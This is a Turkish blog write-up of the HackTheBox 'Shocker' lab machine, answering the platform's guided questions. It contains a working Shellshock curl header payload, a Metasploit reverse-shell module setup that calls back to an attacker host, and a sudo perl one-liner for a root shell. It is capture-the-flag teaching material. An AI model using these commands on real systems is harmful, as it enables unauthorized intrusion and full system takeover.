Hackthebox Shocker Writeup
- Songül ÖZÜGÜRLER
- 9 Eki
- 3 dakikada okunur

Bugün HackTheBox platformundaki Shocker adlı makineyi adım adım nasıl çözdüğümü anlatacağım. Bu makine, özellikle Shellshock zafiyetiyle tanınan sistemlerde nasıl erişim sağlanabileceğini ve ardından basit bir privilege escalation ile nasıl root olunabileceğini gösteriyor. Hadi başlayalım!
Öncelikle rustscan taraması yaptım


cevap : 2
2 What is the name of the directory available on the webserver that is a standard name known for running scripts via the Common Gateway Interface?
Web servisine baktığımda index sayfası oldukça sadeydi. Bu yüzden dirbuster kullanarak dizin keşfine çıktım. Özellikle .cgi, .sh, .pl ve .py uzantılarına odaklandım. Ve bingo! /cgi-bin/user.sh dosyasını buldum.
İpucu: Makinenin adının “Shocker” olması da Shellshock zafiyetine gönderme gibi duruyordu.
cevap:cgi-bin
3 Optional question: The output from user.sh matches the output from what standard Linux command?

user.sh sayfasına göz attığımda uptime komutu çıktısına benzediğini farkettim
cevap :uptime
4 What 2014 CVE ID describes a remote code execution vulnerability in Bash when invoked through Apache CGI?
Bu soruda, 2014 yılında keşfedilen ve Bash kabuğunda bulunan ünlü uzaktan kod çalıştırma zafiyetini soruyorlar. Apache’nin CGI modülü üzerinden çağrıldığında çevresel değişkenlerle sistemde komut çalıştırmaya olanak tanıyor.
Bu zafiyetin CVE kimliği ise:
cevap: CVE-2014–6271
5: What user is the webserver running as on Shocker?
Makineye Shellshock zafiyeti olup olmadığını test etmek için klasik bir payload denedim. Bunun için curl komutunu kullandım ve HTTP isteğine özel bir header ekledim
curl -H ‘User-Agent: () { :;}; echo; /usr/bin/id’ http://10.10.10.56/cgi-bin/user.sh
Burada yaptığım şey şu:User-Agent kısmına zafiyetli Bash’in anlayacağı şekilde bir komut enjekte ettim. () { :;}; kısmı aslında Bash’e sahte bir fonksiyon tanımı gibi gösteriliyor ama aslında devamında gelen komut doğrudan çalıştırılıyor. Ben test etmek için id komutunu verdim çünkü bu komut çalışırsa, Shellshock var demektir.
Komutu çalıştırdığımda şu çıktıyı aldım:

uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
kullanıcımız shelly yani bingo! Komut çalıştı, demek ki sistem Shellshock’a karşı savunmasız. Artık bu açıklıktan faydalanarak bir shell alabilirim.
Shellshock zafiyetini Metasploit Framework ile de test etmek istedim. Bunun için önce ilgili modülü kullandım:
use auxiliary(scanner/http/apache_mod_cgi_bash_env)Tarama sonucunda şu bilgiyi aldım:
[+] uid=1000(shelly) gid=1000(shelly) …
Bu çıktı, sistemin Shellshock’a karşı savunmasız olduğunu ve komutların başarıyla çalıştığını gösteriyor. Artık bir adım öteye geçip shell alabilirim dedim ve exploit modülüne geçtim:
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOST 10.10.10.56set TARGETURI /cgi-bin/user.shset LHOST 10.10.14.9set PAYLOAD linux/x86/shell_reverse_tcp
ve exploit’i çalıştırdım ve artık karşı sistemde shell erişimim vardı!


user flağımız /home/shelly/user.txt içinde
8 Which binary can the shelly user can run as root on Shocker?
Yetki yükseltme aşamasında ilk işim, shelly kullanıcısının sudo ile neleri çalıştırabildiğini kontrol etmek oldu. Bunun için terminalde aşağıdaki komutu verdim:
sudo -l
Komutun çıktısında şunu gördüm:

Bu bilgiyi görünce aklıma direkt şu komut geldi:
sudo /usr/bin/perl -e ‘exec “/bin/sh”’
Bu komutu çalıştırdığımda root shell geldi, işlem tamam! Sonrasında da direkt /root/root.txt dosyasını okuyarak root flag’ini aldım.

Eğer CTF dünyasında yeniysen ve hem uzaktan kod çalıştırma (RCE) hem de privilege escalation pratikleri yapmak istiyorsan, Shocker mükemmel bir başlangıç olabilir.
Her makine bir şey öğretir. Bir sonraki yazıda görüşmek üzere!



